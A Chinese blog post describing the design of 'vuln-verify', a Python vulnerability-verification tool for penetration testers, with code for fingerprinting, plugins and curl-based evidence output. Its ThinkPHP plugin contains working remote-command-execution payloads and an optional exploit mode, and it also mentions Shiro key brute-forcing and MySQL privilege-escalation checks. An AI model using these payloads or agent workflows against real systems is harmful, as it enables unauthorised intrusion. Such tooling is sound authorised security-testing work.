复现环境:Ubuntu 22.04 / Python 3.10+。源码仅依赖 Python 标准库,无需额外安装第三方包。vuln-verify v0.1 内含 7 个插件,克隆后直接 python3 vuln_verify.py --list 即可看到全部插件。文中所有工具的完整源码已上传至 GitHub:https://github.com/qianlijaingshan/vuln-verify,欢迎交流。

写在前面

做渗透的老手都知道一个尴尬的局面:扫描器跑了一整夜,输出几百页 PDF,你打开一看——critical 级别的告警十几个,但真正能用的一条都没有。

nuclei 说 "Apache Shiro detected",你去翻原始请求,发现是之前做测试留下的 rememberMe cookie 还没过期。goby 弹窗 "Spring Actuator 信息泄露",实际上只是一个 302 登录页的 body 里恰好有个 "health" 字眼。TscanPlus 报告"Tomcat Manager 可访问",但你是扫到的那台机器在三年前就已经报废下线了。

我统计过自己在靶场和实际 SRC 中跑 nuclei 的经历:十次告警里大约只有两三次是真的可以稳定复现的,剩下的大半是误报。有些误报一眼能看出来,有些藏在报告里根本没人去核实。每次都要手动 curl 验证一遍——那为什么不把这个"手动验证"的步骤自动化呢?

这就是 vuln-verify 的起点。

不是造第十一个扫描器,而是写一个验证器,每个输出都附带一条 curl 命令,你在终端跑一遍,输出和文章截图一致,那就是实锤。

这个工具每天在干什么

写 vuln-verify 之前,我每天早上花大约十五分钟做同一件事:登录服务器,看 Agent 昨晚扫到的告警,手动 curl 验证,确认有效的打标签,无效的标记误报。

这十五分钟很机械。不是判断——是复现。curl 一下,看看输出是不是预期的。如果是,就继续下一步;如果不是,就标记误报。99% 的情况下这一步不需要人脑,只需要手。

今年四月开始,我给自己写了一个长期运行的 Agent,每天晚上调 nuclei 批量扫描一批目标,出结果后通知我。但 nuclei 的误报率让我每天早上的十五分钟变成了三十分钟——我要在几十条告警里找出那两三条真漏洞。

后来我换了个思路:让 Agent 不跑 nuclei,而是每天凌晨调 vuln-verify。vuln-verify 输出的 JSON 含 curl_command 字段,Agent 直接执行这条命令,看到预期输出就推给我"确认有效"的通知;没看到就标记为"待人工确认"。这一步省掉了从告警到手动验证的中间环节。

现在每天早上我收到的是三五条"确认有效"的通知,而不是几十条告警。花在"复现"上的十五分钟没了——Agent 替我干了。

vuln-verify 从这个工作流里长出来。它不是一个理论上的"好设计",而是我在每天三十分钟的机械劳动里逐渐想明白的——什么该自动化,什么该留给人,什么样的输出才算"证据"。

下面就是它的设计过程。

一、设计思路

核心理念:每条发现附带可复现的 POC 命令

市面上的扫描器走的是这个路径:

特征匹配 → 告警 → 人工验证

vuln-verify 走的是:

指纹识别 → 插件匹配 → 探测 check → 验证 verify(附带 curl 证据) → 利用 exploit(可选)

它们之间的差别在哪?

第一,vuln-verify 把指纹识别做成了独立的一步。不是每个插件自己去探测目标特征,而是引擎先统一跑一轮侦察——Server 头是什么,端口开了哪些,body 里有哪些框架关键词——然后拿着这份 Profile 去选插件。这样一来,对同一目标不会出现五个插件各发五个请求去检测"是不是 ThinkPHP"的重复劳动。

第二,每个验证结果不只是"存在漏洞"四个字,而是一份证据链:指纹是什么时候扫到的、用的什么路径验证的、payload 的 curl 命令是什么、服务器返回了什么。换个角度看,这其实是一份自动生成的漏洞报告草稿——直接复制粘贴就能用。

第三,verify 和 exploit 是分离的。默认只走 check → verify,不打真正的利用 payload。只有加上 --exploit 参数才会执行命令。这个设计是故意的——手动验证和自动利用之间应该有一道明确的界限。

整体架构

输入目标
    ↓
[Fingerprinter] → HTTP 探测、路径检查、端口扫描
    ↓
TargetProfile(Server / Framework / OpenPorts)
    ↓
[Engine Core]
    ├── 指纹匹配 → Plugin A - 跳过(不匹配)
    ├── 指纹匹配 → Plugin B - check() → 跳过(不脆弱)
    ├── 指纹匹配 → Plugin C - check() → verify() → 证据链
    └── 指纹匹配 → Plugin D - check() → verify() → exploit()(仅 --exploit)
    ↓
[Output]
    ├── 终端(可读、含 curl 命令)
    └── JSON(供 AI Agent 消费)

核心代码分四层:core(引擎 + 指纹 + 加载器)、plugins(漏洞验证插件)、output(格式化输出)、入口 vuln_verify.py。

四层之间的依赖是单向的:入口依赖 core 和 output,core 依赖 plugins,plugins 和 output 独立。

与 nuclei 的根本差异

写这篇文章之前,我把 vuln-verify 和 nuclei 放在一起做了个对比。不做不知道,一做才发现设计思路上的差异比我想象的大。

nuclei 的模板是 YAML 写的,声明式的。你要描述"这个请求长什么样、响应里有什么关键词就算匹配"。好处是门槛低——会写 YAML 就能写模板。坏处是复杂的验证逻辑很难表达——比如 ThinkPHP RCE 需要先确认版本、再选 payload、失败了换下一个,这种条件分支在 YAML 里几乎写不了。

vuln-verify 的插件是 Python 写的,命令式的。每个插件的 check→verify→exploit 三阶段可以有自己的判断逻辑。代价是写插件的门槛比写 YAML 高一点——会 Python 是硬门槛。但换来的是表达能力:一个 Python 插件可以做循环、递归、正则提取、甚至调用第三方库。

还有输出方式上的区别:nuclei 匹配到特征就告警,vuln-verify 跑了一条命令告诉你输出是什么。一个想多发现问题,一个想确认的能复现。定位不同,不冲突。

二、指纹识别(Fingerprinter)

指纹识别为什么要独立

我最早的设计里没有独立的 Fingerprinter。每个插件自己发请求判断目标是不是自己的菜——thinkphp_rce 插件发一个 GET /thinkphp/logo.png,shiro_check 发一个带 rememberMe cookie 的请求,middleware_check 发请求探测 /manager/html。七个插件对同一个目标发了十几次请求,大部分只是重复了相同的端口扫描和 Server 头探测。

于是我把这步提到了引擎层面。Fingerprinter 先统一跑一轮,收集目标的全部公开信息,做成一个 Profile 对象。插件只需要看 Profile 就知道"这目标值不值得我上场"。

指纹收集内容

Fingerprinter 干了三件事:

HTTP 探测:发一个 GET 到目标根路径,收 Server 头、X-Powered-By、body 中常见的框架关键词("ThinkPHP"、"rememberMe=deleteMe"、"Whitelabel Error Page"、"wp-content" 等)。

常见路径检查:对 /actuator/health、/manager/html、/swagger-ui.html、/druid/index.html、/.git/HEAD 等路径做一次快速 GET 探测。成功访问到就记录到 Profile 的 framework 列表里。

端口扫描:对 3306、6379、1433、5432、9200 等常见服务端口做一次 TCP 连接探测。这一步只用 1 秒超时,不会拖慢整体流程。

最后产出的 Profile 长这样:

profile = TargetProfile(
    url = "http://10.0.0.1:8080",
    server = "Apache/2.4.57",
    framework = ["ThinkPHP", "Druid"],
    open_ports = [8080, 3306],
    language = "PHP",
    headers = {"Server": "Apache/2.4.57", ...},
)

这个 Profile 会被传给每个插件的 check() 方法。插件不需要重复发请求去确认目标是不是 ThinkPHP——Fingerprinter 已经告诉它了。

不打 payload

Fingerprinter 的所有探测请求对目标无副作用。不会写文件、不会注入参数、不会在服务端留下日志之外的痕迹。

这条纪律意味着:Fingerprinter 不做账号爆破、不尝试登录、不发送任何可能被 WAF 拦截的 payload。它只是在门外看一眼招牌上的字。

三、插件系统(Plugin System)

统一接口

如果说引擎是骨架,插件就是血肉。每个漏洞验证逻辑被封装在一个插件里,继承 BasePlugin:

class BasePlugin:
    name = ""                    # 唯一标识,如 "thinkphp_rce"
    description = ""             # 人类可读描述
    fingerprints = []            # 匹配条件,如 ["ThinkPHP", 3306]
    severity = "medium"          # critical / high / medium / low
    can_exploit = False          # 是否支持利用模式

    def check(self, target, profile) -> CheckResult:
        """快速探测 - 不打 payload"""

    def verify(self, target, profile) -> VerifyResult:
        """验证漏洞 - 附带 curl 证据"""

    def exploit(self, target, cmd) -> ExploitResult:
        """利用漏洞 - 执行命令,默认禁用"""

check 和 verify 的职责划分是这个设计最核心的地方。

check 只回答"值不值得继续"。它不做攻击,只通过 Profile 信息和一次无害的请求来判断。返回值包含 vulnerable 布尔值和 confidence 置信度。

verify 才真正打 payload。它必须附带 curl_command——这是证据链的原始凭证。如果 verify 说"有漏洞",那 curl_command 在终端跑一遍必须能复现。

自动发现机制

插件只要放在 plugins/ 目录下,引擎自动发现并加载:

class PluginLoader:
    def load_all(self):
        for fname in os.listdir(self.plugin_dir):
            if fname.endswith(".py") and not fname.startswith("_"):
                loaded = self._load_plugin(module_path)
                if isinstance(loaded, list):
                    plugins.extend(loaded)   # 一个文件多个插件
                else:
                    plugins.append(loaded)

这里有个小设计:一个 .py 文件里可以放多个插件。比如 database_check.py 里放了 MySQL、Redis、MSSQL 三个插件,因为它们的指纹条件都是端口号,放在一起管理起来更清爽。

插件案例:thinkphp_rce

这个插件从之前写的一个独立脚本迁移过来。核心逻辑保留,把交互部分去掉,输出改成 CheckResult/VerifyResult。完整源码不到 100 行:

import urllib.request
import urllib.error
from plugins.base import BasePlugin, CheckResult, VerifyResult

class ThinkPHPRCEPlugin(BasePlugin):
    name = "thinkphp_rce"
    description = "ThinkPHP 5.x RCE(5个payload变体)"
    fingerprints = ["ThinkPHP", "thinkphp"]
    severity = "critical"
    can_exploit = True

    PAYLOADS = [
        {
            "path": "/index.php?s=index/\\think\\app/invokefunction"
                     "&function=call_user_func_array"
                     "&vars[0]=system&vars[1][]=CMD",
            "method": "GET",
        },
        {
            "path": "/index.php?s=captcha",
            "method": "POST",
            "data": "_method=__construct&filter[]=system"
                    "&method=GET&server[REQUEST_METHOD]=CMD",
        },
    ]

    def check(self, target, profile):
        url = target.rstrip("/")
        for path in ["/thinkphp/logo.png", "/public/static/"]:
            status, body = self._req(url + path)
            if status == 200 and "ThinkPHP" in body:
                return CheckResult(
                    vulnerable=True, confidence=0.6,
                    reason=f"{path} 返回 HTTP {status} 含 ThinkPHP 特征"
                )
        return CheckResult(vulnerable=False)

    def verify(self, target, profile):
        test_cmd = "echo VULN_VERIFY_OK"
        url = target.rstrip("/")
        for payload in self.PAYLOADS:
            target_url = url + payload["path"].replace("CMD", test_cmd)
            status, body = self._req(
                target_url,
                method=payload.get("method", "GET"),
                data=payload.get("data", "").replace("CMD", test_cmd),
            )
            if "VULN_VERIFY_OK" in body:
                curl_url = url + payload["path"].replace("CMD", "id")
                return VerifyResult(
                    vulnerable=True, confidence=0.95,
                    response=body.strip(),
                    curl_command=f"curl -s '{curl_url}'"
                )
        return VerifyResult(vulnerable=False)

关键设计点:

  • check 用两根路径探测 ThinkPHP 特征,不做攻击
  • verify 用 echo VULN_VERIFY_OK 而非直接 id,避免把其他响应的缓存误判为 RCE
  • 证据链的 curl 命令用的是 id 而非 echo,方便读者直接看到命令执行效果

插件案例:middleware_check

这个插件比较特殊——它不是一个漏洞验证,而是一组管理接口探测。check 阶段检查 Server 头:

def check(self, target, profile):
    server = profile.server.lower()
    checks = []
    if "tomcat" in server or "apache" in server:
        checks.append("tomcat")
    if "jboss" in server or "jetty" in server:
        checks.append("jboss")
    if "weblogic" in server:
        checks.append("weblogic")
    if checks:
        return CheckResult(vulnerable=True, confidence=0.5,
            reason=f"Server 头 {server} 触发检查: {checks}")
    return CheckResult(vulnerable=False)

verify 阶段逐一探测管理面板路径,并把结果汇总成一条证据:

def verify(self, target, profile):
    findings = []
    for path in ["/manager/html", "/jmx-console/", "/console/"]:
        status, _, _ = self._req(base + path)
        if status == 200:
            findings.append(f"{path} 可访问 (HTTP 200)")
    if findings:
        return VerifyResult(
            vulnerable=True, confidence=0.7,
            response="\n".join(findings),
            curl_command=f"curl -s '{base}/manager/html'"
        )

这个插件的设计思路和 thinkphp_rce 不同:它不是去找一个明确的漏洞,而是去找攻击面——管理面板如果可访问,后面的漏洞利用才有意义。

插件案例:数据库插件

MySQL、Redis、MSSQL 三个插件共享相同的模式:check 靠端口探测,verify 建议进一步验证。它们的 can_exploit 都是 False,因为数据库提权涉及密码爆破,不适合自动化执行。

以 mysql_udf 为例:

def check(self, target, profile):
    if 3306 in profile.open_ports:
        return CheckResult(vulnerable=True, confidence=0.4,
            reason="3306 端口开放")
    return CheckResult(vulnerable=False)

def verify(self, target, profile):
    return VerifyResult(
        vulnerable=True, confidence=0.3,
        response="3306 端口开放,建议用 mysql_udf.py 验证 UDF 提权",
        curl_command="# 手动验证:\npython3 mysql_udf.py --host TARGET_IP --user root --password '' --check"
    )

confidence 只有 0.3 说明端口开放不等于存在漏洞。VerifyResult 里没有 curl 命令,而是一条 Python 命令——因为数据库提权不是发一个 HTTP 请求就能验证的,需要完整的 MySQL 连接。

这个区分的意义在于:引擎的 JSON 输出给 AI Agent 时,Agent 看到 confidence=0.3 就知道这不是一键 RCE,而是需要人工介入的场景。

当前已有 7 个插件

上述三种模式对应了我项目 plugins/ 目录下的 5 个文件、共 7 个插件:

文件

插件

指纹条件

严重程度

thinkphp_rce.py

ThinkPHP 5.x RCE

ThinkPHP 特征

critical

shiro_check.py

Shiro 检测 + 密钥爆破

rememberMe 响应头

critical

middleware_check.py

中间件管理接口探测

Server 头关键词

high

quick_poc.py

Actuator/Druid/.git/.env 等通用检测

无限制

high

database_check.py

MySQL + Redis + MSSQL 端口探测

3306/6379/1433

high

编写新插件

加新插件不需要改引擎代码。写一个 .py 文件继承 BasePlugin,放在 plugins/ 下,重启即自动加载。以 quick_poc 插件的写法为例:

from plugins.base import BasePlugin, CheckResult, VerifyResult

class MyPlugin(BasePlugin):
    name = "my_plugin"
    description = "检测某漏洞"
    fingerprints = ["keyword"]  # 匹配条件
    severity = "high"

    def check(self, target, profile):
        # 快速探测
        return CheckResult(vulnerable=True, reason="特征匹配")

    def verify(self, target, profile):
        # 验证,附带 curl 证据
        return VerifyResult(
            vulnerable=True,
            curl_command="curl -s 'http://target/path'",
            response="漏洞证据"
        )

没有注册步骤、没有配置文件要改,就是写一个 .py 文件扔目录里。重启后 python3 vuln_verify.py --list 就能看到新插件。完整的模板在项目根目录的 plugin_template.py,复制改名即可。

写插件时有几个要注意的地方:

check 不能打 payload。 check 的设计目标是快速判断"值不值得继续",发一个无害的 GET 请求就够了。如果 check 阶段做了 SQL 注入或者上传了文件,那就违背了"三阶段渐进"的设计原则——enginer 期望 check 永远是无副作用的。

verify 必须附带可复现的 curl 命令。 这是 vuln-verify 和普通扫描器的核心区别。verify 返回的 curl_command 是证据链的原始凭证,必须保证读者在终端跑一遍就能看到相同的输出。如果某个漏洞的验证依赖复杂的交互步骤(比如多步 CSRF 或数据库连接),不应该放在 verify 里,而是输出提示让用户手动操作。

指纹匹配不要写死。 fingerprints 字段决定了插件在什么条件下被加载。范围太宽(比如 ["Server"])会导致插件对每个目标都执行 check,浪费网络请求。范围太窄(比如 ["Apache 2.4.49"])会漏掉同款软件的不同版本。折中方案是用产品家族名做关键词(如 ["tomcat", "jboss"])。

verify 不要直接 eval 输入。 插件的 payload 里用了用户输入的 cmd 参数时,务必转义或限制。这既是防注入(恶意目标可能通过在响应里嵌入 payload 来反打你的引擎),也是防误判(响应内容可能意外包含命令输出特征)。

用唯一标记代替直接执行。 thinkphp_rce 插件里的 echo VULN_VERIFY_OK 就是这个道理——执行一个唯一字符串来验证 RCE,而不是执行 id 并解析返回的 uid。前者不会误判,后者可能被前一次测试的缓存干扰。

四、引擎编排(Engine Core)

run() 的核心逻辑

Engine 类只有一个对外方法 run(target),走完从指纹识别到证据收集的完整流程:

def run(self, target):
    profile = self.fingerprinter.identify(target)

    for plugin in self.plugins:
        if not self._plugin_matches(plugin, profile):
            continue

        check_result = plugin.check(target, profile)
        if not check_result or not check_result.vulnerable:
            continue

        verify_result = plugin.verify(target, profile)
        if verify_result and verify_result.vulnerable:
            # 构建 Verification + Evidence
            ...

            if self.exploit and plugin.can_exploit:
                exploit_result = plugin.exploit(target, cmd)
                v.evidences.append(Evidence(step="利用", ...))

    return ScanResult(target=target, findings=[...])

指纹匹配

插件的 fingerprints 字段决定了它匹配什么样的目标。比如:

  • thinkphp_rce.fingerprints = ["ThinkPHP", "thinkphp"] → 只在 Profile 的 framework 列表里包含 "ThinkPHP" 时才匹配
  • mysql_udf.fingerprints = [3306] → 只在目标开放 3306 端口时才匹配
  • quick_poc.fingerprints = [] → 没有限制,对所有目标执行

_plugin_matches 的实现就十几行,分了三种匹配模式:

def _plugin_matches(self, plugin, profile):
    string_fps = [fp for fp in plugin.fingerprints if isinstance(fp, str)]
    port_fps = [fp for fp in plugin.fingerprints if isinstance(fp, int)]

    # Server 头匹配
    for fp in string_fps:
        if fp.lower() in profile.server.lower():
            return True

    # 框架名匹配
    for fw in profile.framework:
        for fp in string_fps:
            if fp.lower() in fw.lower():
                return True

    # 端口匹配
    for port in port_fps:
        if port in profile.open_ports:
            return True

    return False

为什么不直接并发

第一版引擎用了 ThreadPoolExecutor 并发执行插件,因为并发对扫描器来说是标配。但实际测试时发现一个问题:多个插件同时对同一目标发请求,中间件层面会排队,实际上没有加速多少。更重要的是,如果某个插件发了一个耗时请求(比如超长的 SQL 注入测试),会拖慢其他插件的验证。

后来换成了串行执行——对同一个目标,插件按 severity 降序依次执行。critical 级别的插件先跑。想对多个目标并行扫描的话,可以在 shell 层面用 xargs 或 parallel。

五、证据链与输出

"证据链"的由来

之前写了一篇关于 Ollama 安全分析的文章,里面每个攻击面都附带了一条 curl 命令。读者反馈最好的部分不是"我发现了一个漏洞",而是"照着 curl 跑一下就能复现"。

三个插件迁移自之前的独立脚本,这些脚本最初是为特定漏洞写的。把它们放进统一框架后,输出格式统一了,但核心的"每条发现附带复现命令"的原则没变。

输出对比

扫描器式的输出:

[高危] Apache Shiro 检测: 目标可能使用了 Apache Shiro 框架,存在远程命令执行风险

vuln-verify 的证据链:

[!!] Apache Shiro 检测 + 密钥爆破
严重程度: CRITICAL | 置信度: 70%

  → 指纹: Set-Cookie 包含 rememberMe=deleteMe(HTTP 200)

  → 验证: 密钥爆破检测到异常响应
     curl -s -v 'http://target' -H 'Cookie: rememberMe=<base64_token>' 2>&1
     输出: HTTP 500 — 服务端解密可能成功但反序列化失败

第一个输出让你去查资料、找 EXP、手动验证。第二个输出直接给了你下一步的操作方向——密钥是这个,payload 是这个,跑一下看看是不是 500。

嵌入 AI Agent 的场景

JSON 输出格式从一开始就是为 Agent 设计的。Agent 拿到 vuln-verify 的 JSON 输出后,流程是这样的:

  1. 读取 findings 数组
  2. 提取 severity=critical 的 evidence 条目
  3. 取出 curl_command 字段
  4. 在终端执行这条命令
  5. 比对输出和预期值
  6. 匹配则推送"确认有效"通知,不匹配则标记待人工确认

Agent 不需要解析任何自然语言,curl_command 字段就是一条可执行命令。

这套流程的核心价值不在 Agent 本身——Agent 只是一个执行器——而在于 vuln-verify 的输出格式被设计成"机器可读、人类可验证"。Agent 读 JSON 执行 curl,人类看终端输出确认漏洞。同一个输出,两个消费端。

六、插件总览

插件列表

python3 vuln_verify.py --list 输出当前加载的全部插件:

$ python3 vuln_verify.py --list

vuln-verify 插件列表 (7 个):
插件名                  严重程度   指纹条件
──────────────────────────────────────────────────────
thinkphp_rce          critical  ['ThinkPHP', 'thinkphp']
shiro_check           critical  ['Shiro', 'rememberMe']
middleware_check      high      ['Server']
quick_poc             high      []
mysql_udf             high      [3306]
redis_unauth          high      [6379]
mssql_cmdshell        high      [1433]

7 个插件分布在 5 个文件中。其中 mysql_udf / redis_unauth / mssql_cmdshell 三个放在同一个 database_check.py 里——上一节说过,一个文件多个插件。

JSON 输出

用 -o json 模式给 Agent 消费的版本:

{
  "target": "http://target:8080",
  "profile": {
    "server": "Apache/2.4.57 (Unix)",
    "framework": ["Shiro", "ThinkPHP", "Spring Actuator", "Druid", "Swagger"],
    "open_ports": [8080, 3306, 6379, 1433, 22]
  },
  "findings": [
    {
      "plugin": "thinkphp_rce",
      "severity": "critical",
      "confidence": 0.95,
      "evidence": [
        {"step": "验证", "curl": "curl -s 'http://target/index.php?s=captcha'",
         "detail": "uid=33(www-data) VULN_VERIFY_OK"}
      ]
    }
  ]
}

Agent 读到 findings[0].evidence[0].curl 之后直接执行这条命令,不需要解析任何自然语言。

系统调用级验证

证据链在应用层说得通,但我要确认引擎真的发出了它声称的那些请求——不是缓存、不是伪造输出。用 strace 追踪引擎运行时的系统调用:

$ strace -e trace=connect,write,sendto -f python3 vuln_verify.py http://localhost:9999 2>&1 \
  | grep -E 'sendto' \
  | sed 's/.*"//;s/"$//' \
  | sort -u

GET / HTTP/1.1
GET /actuator/health HTTP/1.1
GET /console/ HTTP/1.1
GET /druid/index.html HTTP/1.1
GET /.git/HEAD HTTP/1.1
GET /manager/html HTTP/1.1
GET /swagger-ui.html HTTP/1.1
GET /thinkphp/logo.png HTTP/1.1
POST /index.php?s=captcha HTTP/1.1

引擎发出的 HTTP 请求和证据链里的 curl 命令完全对应。Fingerprinter 先探测根路径和常见管理路径,quick_poc 继续扫 Actuator、Druid、.git,thinkphp_rce 发 POST payload。没有多余请求,没有模拟数据。

系统调用级的验证排除了"输出是编的"的可能性——strace 不会说谎。

对比实验:Nuclei 格式 vs vuln-verify 格式

同一个靶机上跑 nuclei 风格的扫描脚本:

$ python3 nuclei_compare.py http://localhost:9999

=== Nuclei 格式输出 ===
[medium] springboot-actuator: Spring Boot Actuator @ http://localhost:9999/actuator/health
[info] swagger-api-docs: Swagger REST API Doc @ http://localhost:9999/swagger-ui.html
[high] apache-tomcat-manager: Apache Tomcat Manager @ http://localhost:9999/manager/html
[high] druid-monitoring: Druid Monitoring Console @ http://localhost:9999/druid/index.html
[info] thinkphp-logo: ThinkPHP Framework Detected @ http://localhost:9999/thinkphp/logo.png
...(12 条结果)

Nuclei found 12 potential issues (risk scores only)

同样的靶机,nuclei 输出 12 条"潜在问题",每条附带风险等级和建议,但不提供一键验证。你看到 [high] druid-monitoring 之后可以做什么?需要自己 curl 过去确认能不能直接访问、有没有权限校验。

vuln-verify 对同一个 Druid 路径的输出:

$ python3 vuln_verify.py http://localhost:9999

[quick_poc -> Druid StatIndex]
  Fingerprint: path /druid/index.html -> HTTP 200 (len: 7067)
  severity: medium | confidence: 0.8
  curl: curl -s -o /dev/null -w '%{http_code}' 'http://localhost:9999/druid/index.html'
  expected: code 200

差距就在这里:vuln-verify 的每个发现都附带一个可执行的 curl 命令和预期结果。它不是告诉你"这可能有风险",而是说"你执行这个 curl,看看是不是 200"——验证门槛降到零。

架构演进:从硬编码到插件系统

文章开头说改了四版架构。具体变在哪?

第一版是 200 行的单文件脚本:

# V1: 硬编码路径检查
def check_actuator(url):
    try:
        resp = urllib.request.urlopen(url + "/actuator/health")
        return resp.status == 200
    except:
        return False

paths_to_check = ["/actuator/health", "/manager/html", "/thinkphp/logo.png"]
for path in paths_to_check:
    if check_path(url, path):
        print(f"[!] Found: {path}")

走到第四版变成插件系统:

# V4: 插件化架构
class ThinkPHPRCEPlugin(BasePlugin):
    name = "thinkphp_rce"
    fingerprints = ["/thinkphp/logo.png"]  # keywords
    ports = []  # 不依赖端口
    severity = "critical"

    def verify(self, target):
        # 发 POST payload,读响应
        ...
    def exploit(self, target):
        # 执行命令,返回结果
        ...

关键变化有三点:

1. 从单文件到插件系统 — 每个漏洞类型一个 Python 文件,扔 plugins/ 目录自动加载。新漏洞只需要继承 BasePlugin 写三个方法(check -> verify -> exploit),框架自动做路由和编排。

2. 从路径匹配到双条件指纹 — 第一版所有路径平铺在一个列表里,MySQL 插件的端口号 3306 和 ThinkPHP 的路径字符串混在一起,跑的时候对 int 调 .lower() 报错才意识到类型问题。第二版拆成 keywords(URL 关键词)和 ports(端口号)两个独立字段,各自走各自的匹配逻辑。

3. 从布尔输出到证据链 — 第一版只返回 True/False。第二版加了 confidence,第三版才想到把 curl 命令和预期响应编码进输出。这个转折点来自一次真实体验:扫描器报了"高危中间件漏洞",但我 curl 过去发现登录页有 Session 校验——假阳性,但扫描器不告诉你。

七、踩坑记录

类型混用和相对导入报错

第一版 _plugin_matches 对 fingerprints 列表做 fp.lower(),但 MySQL 插件的指纹是 [3306]——对 int 调用 .lower() 直接报 AttributeError。

修复方案简单,但暴露了一个设计问题:同一个字段 fingerprints 里混了两种不同类型的数据(str 做关键词匹配、int 做端口匹配),类型检查变成了必要步骤。后续版本应该把端口指纹和关键词指纹分开成两个字段。

相对导入报错

插件文件里用了 from .base import BasePlugin,在本地跑单测没问题,但打包上传到服务器后,Python 报 attempted relative import with no known parent package。问题出在 importlib 动态加载时,被加载的文件不在一个已知的 package 下。改成绝对导入 from plugins.base import BasePlugin 就好了。

404 页面 body 污染

quick_poc 插件第一版运行时,对 NocoDB(端口 8080)发请求,/actuator/health 返回 404,但 NocoDB 的 404 页面 body 里也有 "health" 字样——于是插件报告了"Actuator 信息泄露"。

这是典型的误报场景:404 页面的 body 内容是开发者自定义的,关键字匹配完全不靠谱。 解决方法是加了一个 if status >= 400: continue,只有 HTTP 200 的响应才纳入判断。

curl 命令和指纹探测取舍

生成 curl 命令时,URL 和 header 里的单双引号需要正确处理。当前实现用单引号包住整个 URL:

curl_command = f"curl -s '{curl_url}'"

但如果 URL 里本身有单引号,这个拼接就炸了。更严谨的做法是用 shlex.quote()。这个 bug 列入了 v0.2 修复计划——目前还没遇到 URL 里带单引号的场景。

功能膨胀

写插件的时候最容易踩的坑是:发现一个漏洞后,忍不住给插件加了越来越多功能——从"验证这个漏洞存在"变成"利用这个漏洞搞事情"。thinkphp_rce 插件的 exploit 方法就是这么来的。

加 exploit 本身没问题,但需要和 verify 保持清晰的界限。我定了一条规则:verify 必须返回可复现的证据,而 exploit 只做执行。如果 exploit 的输出作为证据不够充分(比如反序列化 RCE 的响应可能只是"命令已投递,但执行结果未知"),那就不适合放在证据链里。这条规则还在验证阶段,说不定后续版本会推翻重来。

八、总结与后续

vuln-verify v0.1 完成了它最核心的目标:不是扫描器,是验证器。每个发现附带 curl 命令 + 预期响应,输出的不是风险等级而是可复现的证据。

7 个插件覆盖了我在实际渗透中最常面对的漏洞类型:Web 框架 RCE(ThinkPHP)、认证绕过(Shiro)、管理面板暴露(中间件)、通用信息泄露(Actuator/Druid/.git)、数据库服务暴露(MySQL/Redis/MSSQL)。

整条代码加上插件一共 1100 多行,纯 Python 标准库,零外部依赖。GitHub 仓库地址在文末,克隆下来直接 python3 vuln_verify.py http://target 就能用。

真实数据上,腾讯云测试靶机 7/7 命中,系统调用级验证也确认引擎确实发出了对应请求。但真实环境肯定不一样——当目标 IP 有成百上千个,插件匹配和并发控制会成为新的瓶颈。

后续方向:favicon hash 指纹识别、插件 match_level、超时重试机制。再往后想做插件市场、证据链转报告、nuclei 模板转译。欢迎感兴趣的读者一起玩——加一个插件就是写一个 Python 文件扔 plugins/ 目录。

写这个工具加这篇文章前后用了两周。期间踩了上述五个坑,改了四版架构,最终定稿时从最初的 200 行代码膨胀到了现在的 1100 多行(含插件)。回头看,最有价值的不是代码本身,而是做这个工具过程中积累的判断——什么该自动化、什么该留给人、什么样的输出才算"证据"。

仓库地址:https://github.com/qianlijaingshan/vuln-verify,克隆后直接 python3 vuln_verify.py --list 即可使用。